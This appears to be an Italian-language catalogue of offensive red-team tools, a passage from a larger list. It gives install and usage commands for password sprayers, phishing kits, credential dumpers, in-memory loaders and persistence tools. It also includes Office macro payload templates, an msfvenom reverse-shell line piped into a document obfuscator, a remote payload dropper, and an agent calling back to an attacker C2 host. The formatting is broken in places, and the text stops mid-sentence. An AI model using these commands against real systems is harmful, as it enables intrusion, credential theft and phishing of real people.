Questo script creerà un documento Microsoft Word con un'immagine remota, consentendo la cattura di hash NTML da un endpoint vittima remoto.
Microsoft Word ha la capacità di includere immagini da posizioni remote, inclusa un'immagine remota ospitata su un server SMB controllato dall'attaccante. Questo ti dà l'opportunità di ascoltare e catturare gli hash NTLM che vengono inviati quando una vittima autenticata apre il documento Word e renderizza l'immagine.
Installazione:``` git clone https://github.com/0x09AL/WordSteal cd WordSteal
**Uso:**```bash
# Generate document containing 'test.jpg' and start listener
./main.py 127.0.0.1 test.jpg 1
# Generate document containing 'test.jpg' and do not start listener
./main.py 127.0.0.1 test.jpg 0\n
Immagine utilizzata da https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/
Questo sito fornisce informazioni su interni di Windows non documentati, chiamate di sistema, strutture dati e altri dettagli di basso livello del sistema operativo Windows.
Può essere una risorsa preziosa per chi desidera esplorare gli interni di Windows per vari scopi, tra cui analisi delle vulnerabilità, sviluppo di exploit ed escalation dei privilegi.
Nello sviluppo di exploit, comprendere gli interni del sistema target è cruciale. Questo sito può aiutare a sviluppare exploit sfruttando gli aspetti non documentati di basso livello di Windows.
Utilizzo:
Visita http://undocumented.ntinternals.net/
Immagine utilizzata da http://undocumented.ntinternals.net/
Questa nota tecnica fornisce un elenco completo di tutte le API esportate dal kernel di Windows, per consentire agli sviluppatori di driver di registrare routine di callback che vengono invocate dai componenti del kernel in varie circostanze.
La maggior parte di queste routine sono documentate nel Windows Driver Kit (WDK), ma alcune sono destinate all'uso da parte dei driver in-box.
Le funzioni non documentate sono descritte brevemente, mentre quelle documentate sono solo elencate qui come riferimento.
Utilizzo:
Visita https://codemachine.com/articles/kernel_callback_functions.html
Immagine utilizzata da https://codemachine.com
Una raccolta di tecniche offensive, script e link utili per ottenere l'esecuzione di codice e l'evasione delle difese tramite macro di Office.
Utilizzo:
Visita https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo
Immagine utilizzata da https://github.com/S3cur3Th1sSh1t
Creazione del payload:```vbs Set shell = WScript.CreateObject("Wscript.Shell") shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
**Esegui:**```bash
wscript payload.vbs
cscript.exe payload.vbs
wscript /e:VBScript payload.txt //If .vbs files are blacklisted
Creazione del payload:```html
``` **Esegui:** Esegui fileCreazione payload:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Esecuzione:** Impostare la funzione su Auto_Open() nel documento con macro abilitate
Accesso Iniziale
====================
### [🔙](#tool-list)[CredMaster](https://github.com/knavesec/CredMaster)
Lancia un attacco di password spray / brute force tramite proxy di passaggio Amazon AWS, cambiando l'indirizzo IP di richiesta per ogni tentativo di autenticazione. Questo crea dinamicamente API FireProx per spray di password più evasivi.
CredMaster fornisce un metodo per eseguire spray di password anonimi contro endpoint in uno strumento semplice e facile da usare. Lo strumento FireProx fornisce l'IP di richiesta rotante, mentre la base di CredMaster falsifica tutte le altre informazioni identificative.
Caratteristiche:
- Supporto completo per tutte le regioni AWS
- Genera automaticamente API per il pass-through del proxy
- Falsifica i numeri di tracciamento API, gli IP forwarded-for e altre intestazioni di tracciamento proxy
- Elaborazione multi-thread
- Contatori di ritardo password e configurazione per elusione della politica di blocco
- Aggiungi facilmente nuovi plugin
- Completamente anonimo
**Installazione:**```bash
git clone https://github.com/knavesec/CredMaster;cd CredMaster;pip install -r requirements.txt
Per le istruzioni complete di installazione vedi qui.
Utilizzo:```bash python3 credmaster.py --plugin {pluginname} --access_key {key} --secret_access_key {key} -u userfile -p passwordfile -a useragentfile {otherargs} python3 credmaster.py --config config.json
Questo strumento richiede chiavi di accesso API AWS; una guida su come acquisire queste chiavi può essere trovata qui: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b
*Immagine tratta da https://github.com/knavesec/CredMaster/wiki*
### [🔙](#elenco-strumenti)[TREVORspray](https://github.com/blacklanternsecurity/TREVORspray)
TREVORspray è uno sprayer di password modulare con threading, proxy SSH, moduli di loot e molto altro!
**Installazione:**```bash
pip install https://github.com/blacklanternsecurity/TREVORspray
Utilizzo:```bash
python3 ./trevorspray --recon evilcorp.com
python3 ./trevorspray --recon evilcorp.com -u emails.txt --threads 10
python3 ./trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b43asdas-cdde-bse-ac05-2e37deadbeef/oauth2/token
Per istruzioni complete sull'uso vedi [qui](https://github.com/blacklanternsecurity/TREVORspray?tab=readme-ov-file#how-to---o365).
*Immagine usata da https://github.com/blacklanternsecurity/TREVORspray*
### [🔙](#tool-list)[evilqr](https://github.com/kgretzky/evilqr)
Toolkit che dimostra un altro approccio dell'attacco QRLJacking, permettendo di eseguire il takeover remoto dell'account tramite phishing del codice QR di accesso.
Consiste in un'estensione del browser utilizzata dall'attaccante per estrarre il codice QR di accesso e un'applicazione server che recupera i codici QR di accesso per visualizzarli sulle pagine di phishing ospitate.
Demo [video](https://www.youtube.com/watch?v=8pfodWzqMcU)
**Installazione: (Estensione)**
Puoi caricare l'estensione in Chrome tramite la funzionalità `Load unpacked`:
https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/#load-unpacked
Una volta installata l'estensione, assicurati di fissare la sua icona nella barra delle estensioni di Chrome, in modo che sia sempre visibile.
**Installazione: (Server)**```bash
git clone https://github.com/kgretzky/evilqr;cd evilqr/server/;build_run.bat
Utilizzo:
./server/build/evilqr-server3. Assicurati che il codice QR di accesso sia visibile e clicca sull'icona dell'estensione **Evil QR** nella barra degli strumenti. Se il codice QR viene riconosciuto, l'icona dovrebbe illuminarsi a colori.
4. Apri l'URL della pagina di phishing del server: `http://127.0.0.1:35000` (predefinito)
*Immagine presa da https://breakdev.org/evilqr-phishing/*
### [🔙](#tool-list)[CUPP](https://github.com/Mebus/cupp)
La forma più comune di autenticazione è la combinazione di un nome utente e una password o frase segreta. Le password possono talvolta essere indovinate profilando l'utente, come un compleanno, soprannome, indirizzo, nome di un animale domestico o parente, o una parola comune come Dio, amore, denaro o password.
Ecco perché è nato CUPP.
**Installazione:**```bash
git clone https://github.com/Mebus/cupp;cd cupp
Utilizzo:```bash
python3 ./cupp.py -i
*Immagine utilizzata da https://github.com/Mebus/cupp*
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
Bash Bunny è uno strumento fisico di attacco USB e un sistema di distribuzione di payload multifunzione. È progettato per essere collegato alla porta USB di un computer e può essere programmato per eseguire varie funzioni, tra cui la manipolazione e l'esfiltrazione di dati, l'installazione di malware e l'elusione delle misure di sicurezza.
[hackinglab: Bash Bunny – Guida](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Hak5 Documentazione](https://docs.hak5.org/bash-bunny/)
[Bel Repository di Payload](https://github.com/hak5/bashbunny-payloads)
[Pagina del Prodotto](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish è un potente framework di phishing open-source che semplifica la verifica dell'esposizione della tua organizzazione agli attacchi di phishing. (evilginx2) Framework autonomo per attacchi man-in-the-middle utilizzato per rubare credenziali di accesso insieme ai cookie di sessione, consentendo di bypassare l'autenticazione a due fattori.
**Installazione:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Utilizzo:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Questo framework è ottimo per creare campagne per l'accesso iniziale, 'SET ha una serie di vettori di attacco personalizzati che ti permettono di creare un attacco credibile rapidamente'.
**Installazione:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Utilizzo:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Ottimo strumento per attacchi di forza bruta su login. Può eseguire brute force su diversi servizi come SSH, FTP, TELNET, HTTP ecc.
**Installazione:**```bash
sudo apt install hydra
Uso:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish è uno strumento di phishing avanzato che utilizza una tecnica che combina il flusso di autenticazione tramite codice OAuth Device e i codici QR (vedi [PhishInSuits](https://github.com/secureworks/PhishInSuits) per maggiori informazioni sul flusso OAuth Device Code negli attacchi di phishing).
Fasi dell'attacco:
- Inviare il codice QR malevolo alla vittima
- La vittima scansiona il codice QR con il dispositivo mobile
- La vittima viene reindirizzata a un server controllato dall'attaccante (attivando il processo di autenticazione OAuth Device Code)
- Alla vittima viene inviato via email il codice MFA (attivando il timer di 15 minuti del flusso OAuth Device Code)
- L'attaccante interroga l'autenticazione
- La vittima inserisce il codice nel sito Microsoft legittimo
- L'attaccante salva il token di autenticazione
**Installazione:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Nota: Prima di utilizzare uno dei due moduli, aggiorna le informazioni richieste nel file settings.config indicate con Required.
Utilizzo (Modulo Email):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Utilizzo (Modulo Server):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher è uno strumento che permette agli attaccanti di creare e inviare email di phishing alle vittime per ottenere informazioni sensibili.
Include funzionalità come template personalizzabili, gestione delle campagne e capacità di invio email, rendendolo uno strumento potente e facile da usare per condurre attacchi di phishing. Con King Phisher, gli attaccanti possono prendere di mira individui o organizzazioni con email di phishing mirate e convincenti, aumentando le possibilità di successo nei loro attacchi.
Installazione (Linux - Client & Server):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Utilizzo:**
Una volta installato King Phisher, segui la [pagina wiki](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started) per configurare SSH, il database, il server SMTP, ecc.
Esecuzione
====================
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder è uno strumento per avvelenare i protocolli LLMNR e NBT-NS su una rete, per consentire la cattura di credenziali e l'esecuzione di codice arbitrario.
I protocolli LLMNR (Link-Local Multicast Name Resolution) e NBT-NS (NetBIOS Name Service) sono utilizzati dai sistemi Windows per risolvere i nomi host in indirizzi IP su una rete locale. Se un nome host non può essere risolto usando questi protocolli, il sistema invierà una richiesta broadcast per il nome host sulla rete locale.
Responder ascolta questi broadcast e risponde con un indirizzo IP falso, ingannando il sistema richiedente in modo che invii le sue credenziali all'attaccante.
**Installazione:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Utilizzo:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Informazioni complete sull'utilizzo si trovano [qui](https://github.com/SpiderLabs/Responder#usage).
*Immagine utilizzata da https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/*
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Un'utilità che fa parte della libreria Impacket e può essere utilizzata per estrarre hash di password e altri segreti da un sistema Windows.
Lo fa interagendo con il database Security Account Manager (SAM) del sistema ed estraendo gli hash delle password e altre informazioni, come:
- Hash di password per account locali
- Ticket e chiavi Kerberos
- LSA Secrets
**Install:**```bash
python3 -m pip install impacket
Utilizzo:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
*Immagine utilizzata da https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy*
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM è uno strumento che fornisce un'interfaccia a riga di comando per Windows Remote Management (WinRM: *Un servizio che consente agli amministratori di eseguire comandi in remoto su una macchina Windows*).
Evil-WinRM consente a un attaccante di connettersi in remoto a una macchina Windows utilizzando WinRM ed eseguire comandi arbitrari.
Alcune funzionalità includono:
- Caricamento in memoria di script Powershell
- Caricamento in memoria di file dll bypassando alcuni AV
- Caricamento di payload x64
- Supporto Pass-the-hash
- Caricamento e download di file locali e remoti
**Installazione: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Installa: (Ruby gem)```bash gem install evil-winrm
Istruzioni di installazione alternative possono essere trovate [qui](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Utilizzo:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
Full usage documentation can be found here.
Immagine usata da https://korbinian-spielvogel.de/posts/heist-writeup/
Uno strumento per l'esecuzione in memoria di file VBScript, JScript, EXE, DLL e assembly dotNET. Può essere utilizzato per caricare ed eseguire payload personalizzati sui sistemi target senza la necessità di salvare file su disco.
Installazione: (Windows)```bash git clone http://github.com/thewover/donut.git
Per generare il template del loader, la libreria dinamica donut.dll, la libreria statica donut.lib e il generatore donut.exe. Avvia un Prompt dei comandi per sviluppatori di Microsoft Visual Studio x64, passa alla directory in cui hai clonato il repository Donut e inserisci quanto segue:```bash
nmake -f Makefile.msvc
Per fare lo stesso, eccetto utilizzando MinGW-64 su Windows o Linux, spostati nella directory in cui hai clonato il repository Donut e inserisci il seguente:```bash make -f Makefile.mingw
**Installazione: (Linux)**```bash
pip3 install donut-shellcode
Uso:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Per informazioni complete sull'uso, consulta la [pagina GitHub](https://github.com/TheWover/donut/#4-usage) di donut.
Vedi [un recente post sul blog](https://thewover.github.io/Bear-Claw/) di The Wover per maggiori informazioni.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Uno strumento utilizzato per automatizzare l'offuscamento e la generazione di documenti Office, script VB, collegamenti e altri formati per red teaming.
**Installazione: (Binario)**
1. Ottieni l'ultimo binario da [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Scarica il binario su un PC con Microsoft Office autentico installato.
3. Apri la console, esegui cd nella directory del binario e chiama il binario
**Installazione: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Uso:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Una raccolta di script e moduli PowerShell che possono essere utilizzati per raggiungere una varietà di obiettivi di red teaming.
Alcune delle funzionalità di PowerSploit:
- Scaricare hash di password ed estrarre password in chiaro dalla memoria
- Elevare i privilegi e bypassare i controlli di sicurezza
- Eseguire codice PowerShell arbitrario e bypassare le restrizioni di esecuzione
- Effettuare ricognizione e scoperta di rete
- Generare payload ed eseguire exploit
**Installazione:** *1. Salva nella cartella dei moduli PowerShell*
Per prima cosa dovrai scaricare la [cartella PowerSploit](https://github.com/PowerShellMafia/PowerSploit) e salvarla nella cartella dei moduli PowerShell.
Il percorso della cartella dei moduli PowerShell può essere trovato con il seguente comando:```
$Env:PSModulePath
Installazione: 2. Installa PowerSploit come modulo PowerShell
Successivamente dovrai installare il modulo PowerSploit (usa il nome della cartella scaricata).
Nota: La tua policy di esecuzione di PowerShell potrebbe bloccarti, per risolvere esegui il seguente comando.``` powershell.exe -ep bypass
Ora puoi installare il modulo PowerSploit.```
Import-Module PowerSploit
Utilizzo:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Uno strumento che può essere utilizzato per eseguire varie azioni relative agli ambienti Microsoft Active Directory (AD), come il dump degli hash delle password, la creazione/eliminazione di utenti e la modifica delle proprietà degli utenti.
Alcune delle funzionalità di Rubeus:
- Kerberoasting
- Attacchi Golden ticket
- Attacchi Silver ticket
**Installazione: (Scarica)**
Puoi installare il binario precompilato non ufficiale di Rubeus [qui](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe).
**Installazione: (Compila)**
Rubeus è compatibile con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Apri il [progetto .sln](https://github.com/GhostPack/Rubeus) di Rubeus, scegli "Release" e compila.
**Utilizzo:**```
Rubeus.exe -h
Un ottimo strumento per verificare la presenza di vulnerabilità su un endpoint vittima relative a processi con privilegi elevati, gruppi, percorsi di hijacking, ecc.
Installazione: (Download)
È possibile installare il binario SharpUp precompilato non ufficiale qui.
Installazione: (Compilazione)
SharpUp è compatibile con Visual Studio 2015 Community Edition. Aprire il progetto SharpUp .sln, selezionare "Release" e compilare.
Utilizzo:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#elenco-strumenti)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) è un sistema di gestione di database relazionali sviluppato e commercializzato da Microsoft.
Questo toolkit MS-SQL in C# è progettato per la ricognizione offensiva e il post-sfruttamento. Per informazioni dettagliate sull'uso di ogni tecnica, consulta la [wiki](https://github.com/skahwah/SQLRecon/wiki).
**Installazione: (Binary)**
Puoi scaricare l'ultima versione binaria da [qui](https://github.com/skahwah/SQLRecon/releases).
**Utilizzo:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Full usage information can be found on the wiki.
Tool module usage information can be found here.
Immagine presa dalla pagina di aiuto di SQLRecon
Questa risorsa è una raccolta delle tecniche più comuni e conosciute per bypassare AppLocker.
Poiché AppLocker può essere configurato in diversi modi, @api0cradle mantiene un elenco verificato di bypass (che funzionano contro le regole predefinite di AppLocker) e un elenco con possibili tecniche di bypass (a seconda della configurazione) o dichiarate come tali da qualcuno.
Hanno anche un elenco di tecniche di bypass generiche, oltre a un elenco legacy di metodi per l'esecuzione tramite DLL.
Elenchi indicizzati
Immagine presa da https://github.com/api0cradle/UltimateAppLockerByPassList
Un launcher Empire basato su JavaScript e VBScript, che viene eseguito all'interno del proprio host PowerShell incorporato.
Entrambi i launcher vengono eseguiti all'interno del proprio host PowerShell incorporato, quindi non abbiamo bisogno di PowerShell.exe.
Questo potrebbe essere utile quando un'azienda blocca PowerShell.exe e/o utilizza una soluzione di whitelisting delle applicazioni, ma non blocca l'esecuzione di file JS/VBS.
Utilizzo:
Per la versione JavaScript, utilizza la seguente variabile:```javascript var EncodedPayload = ""
Per la versione VBScript utilizzare la seguente variabile:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Immagine presa da https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
L'obiettivo di questo progetto è generare file .html che contengono un file HTA crittografato.
L'idea è che quando il tuo target visita la pagina, la chiave viene recuperata e l'HTA viene decriptato dinamicamente all'interno del browser e inviato direttamente all'utente.
Questa è una tecnica di evasione per aggirare l'ispezione del contenuto/tipo di file implementata da alcuni dispositivi di sicurezza.
Ulteriori informazioni tecniche qui.
Installazione:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Utilizzo:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Immagine utilizzata da https://github.com/nccgroup/demiguise
PowerZure è un progetto PowerShell creato per valutare e sfruttare le risorse all'interno della piattaforma cloud di Microsoft, Azure. PowerZure è stato creato dalla necessità di un framework che possa sia eseguire ricognizione che sfruttamento di Azure, AzureAD e delle risorse associate.
Non c'è alcuna ragione per eseguire PowerZure su una macchina vittima. L'autenticazione viene effettuata utilizzando un file accesstoken.json esistente o effettuando il login tramite prompt quando si accede ad Azure, il che significa che puoi utilizzare in sicurezza PowerZure per interagire con l'istanza cloud di una vittima dalla tua macchina operativa.
Installazione:```bash Install-Module -Name Az git clone https://github.com/hausec/PowerZure cd PowerZure ipmo C:\path\to\PowerZure.psd1
**Utilizzo:**```bash
# Get a list of AzureAD and Azure objects you have access to
Get-AzureTarget
Blog - Attaccare Azure, Azure AD, e Introduzione a PowerZure
Immagine utilizzata da https://hakin9.org
Impacket fornisce una serie di binding Python di basso livello per vari protocolli di rete, tra cui SMB, Kerberos e LDAP, oltre a librerie di alto livello per interagire con i servizi di rete e svolgere attività specifiche come il dump degli hash delle password e la creazione di condivisioni di rete.
Include anche una serie di strumenti da riga di comando che possono essere utilizzati per eseguire varie attività come il dump dei database SAM, l'enumerazione delle trust di dominio e il cracking delle password di Windows.
Installazione:```bash python3 -m pip install impacket
**Installazione: (Con Script di Esempio)**
Scarica ed estrai [il pacchetto](https://github.com/fortra/impacket), poi naviga alla cartella di installazione ed esegui...```bash
python3 -m pip install .
Utilizzo:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Great [cheat sheet](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) per l'uso di Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire è un framework di post-exploitation che consente di generare payload per stabilire connessioni remote con sistemi vittima.
Una volta che un payload è stato eseguito su un sistema vittima, stabilisce una connessione di ritorno al server Empire, che può quindi essere utilizzato per inviare comandi e controllare il sistema target.
Empire include anche una serie di moduli e script integrati che possono essere utilizzati per eseguire attività specifiche, come il dump degli hash delle password, l'accesso al registro di Windows e l'esfiltrazione di dati.
**Installazione:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Utilizzo:```bash
./empire
list agents
list listeners
Ottimo utilizzo [cheat sheet](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) di [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Un toolkit di persistenza per Windows scritto in C#.
Il progetto ha un [wiki](https://github.com/mandiant/SharPersist/wiki).
**Installazione: (Binario)**
Puoi trovare l'ultima release [qui](https://github.com/mandiant/SharPersist/releases).
**Installazione: (Compilazione)**
- Scarica i file del progetto dal [Repository GitHub](https://github.com/mandiant/SharPersist).
- Carica il progetto in Visual Studio e vai su "Strumenti" --> "Gestione pacchetti NuGet" --> "Impostazioni gestione pacchetti"
- Vai su "Gestione pacchetti NuGet" --> "Origini pacchetti"
- Aggiungi un'origine pacchetto con URL "https://api.nuget.org/v3/index.json"
- Installa il pacchetto NuGet Costura.Fody. È necessaria la versione precedente di Costura.Fody (3.3.3), in modo da non aver bisogno di Visual Studio 2019.
- `Install-Package Costura.Fody -Version 3.3.3`
- Installa il pacchetto TaskScheduler
- `Install-Package TaskScheduler -Version 2.8.11`
- Ora puoi compilare il progetto da solo!
**Utilizzo:**
Un elenco completo di esempi di utilizzo può essere trovato [qui](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng è uno strumento semplice, leggero e veloce che consente ai penetration tester di stabilire tunnel da una connessione TCP/TLS inversa utilizzando un'interfaccia tun (senza la necessità di SOCKS).
Invece di utilizzare un proxy SOCKS o inoltri TCP/UDP, Ligolo-ng crea uno stack di rete in spazio utente utilizzando Gvisor.
Quando si esegue il server relay/proxy, viene utilizzata un'interfaccia tun; i pacchetti inviati a questa interfaccia vengono tradotti e quindi trasmessi alla rete remota dell'agente.
Installazione: (Download)
I binari precompilati (Windows/Linux/macOS) sono disponibili nella pagina delle release.
Installazione: (Build)
Compilazione di ligolo-ng (richiesto Go >= 1.17):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Configurazione: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Configurazione: (Windows)
Devi scaricare il driver Wintun (usato da WireGuard) e posizionare il file wintun.dll nella stessa cartella di Ligolo (assicurati di utilizzare l'architettura corretta).
Configurazione: (Server proxy)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Utilizzo:**
*Avvia l'agente sul computer di destinazione (vittima) (non sono richiesti privilegi!):*```bash
./agent -connect attacker_c2_server.com:11601
Una sessione dovrebbe apparire sul server proxy.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Usa il comando session per selezionare l'agente.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Le informazioni complete sull'utilizzo sono disponibili qui.
Immagine tratta da https://github.com/nicocha30/ligolo-ng#demo
"Accenture ha creato un tool chiamato Spartacus, che trova opportunità di DLL hijacking su Windows. Usando Spartacus come punto di partenza, abbiamo creato Crassus per estendere le capacità di individuare escalation dei privilegi su Windows oltre la semplice ricerca di file mancanti. Gli ACL utilizzati da file e directory di processi con privilegi possono trovare più di quanto si possa ottenere cercando solo file mancanti per raggiungere l'obiettivo." - Link
Installazione: (Build)
Crassus è stato sviluppato come progetto di Visual Studio 2019. Per compilare Crassus.exe:
Installazione: (precompilato)
Se vi fidate ad eseguire codice di altri senza sapere cosa faccia, Crassus.exe è fornito in questo repository.
Utilizzo:
Enable Boot Logging.Ctrl-R.boot.PML. Il motivo per salvare nuovamente il file di log è duplice:
Immagine tratta da https://github.com/vu-ls/Crassus?tab=readme-ov-file#screenshots
LinPEAS è un ottimo tool verboso per l'escalation dei privilegi, utilizzato per trovare percorsi di privilege escalation locali su endpoint Linux.
Installazione + Utilizzo:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS è un utile tool verboso per l'escalation dei privilegi, progettato per trovare percorsi di privesc locali su endpoint Windows.
**Installazione + Utilizzo:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration è un altro buon strumento privesc per Linux, meno verboso.
Installazione + Utilizzo:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
Certify è uno strumento C# per enumerare e abusare delle configurazioni errate nei Servizi Certificati di Active Directory (AD CS).
Certify è progettato per essere utilizzato insieme ad altri strumenti e tecniche del red team, come Mimikatz e PowerShell, per consentire ai red teamer di eseguire vari tipi di attacchi, inclusi attacchi man-in-the-middle, attacchi di impersonificazione e attacchi di escalation dei privilegi.
**Caratteristiche principali di Certify:**
- Creazione di certificati
- Firma di certificati
- Importazione di certificati
- Modifica della fiducia dei certificati
**Installazione: (Compilazione)**
Certify è compatibile con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Apri il progetto Certify [.sln](https://github.com/GhostPack/Certify), scegli "Release" e compila.
**Installazione: (Esecuzione di Certify tramite PowerShell)**
Se desideri eseguire Certify in memoria tramite un wrapper PowerShell, prima compila Certify e codifica in base64 l'assembly risultante:```bash
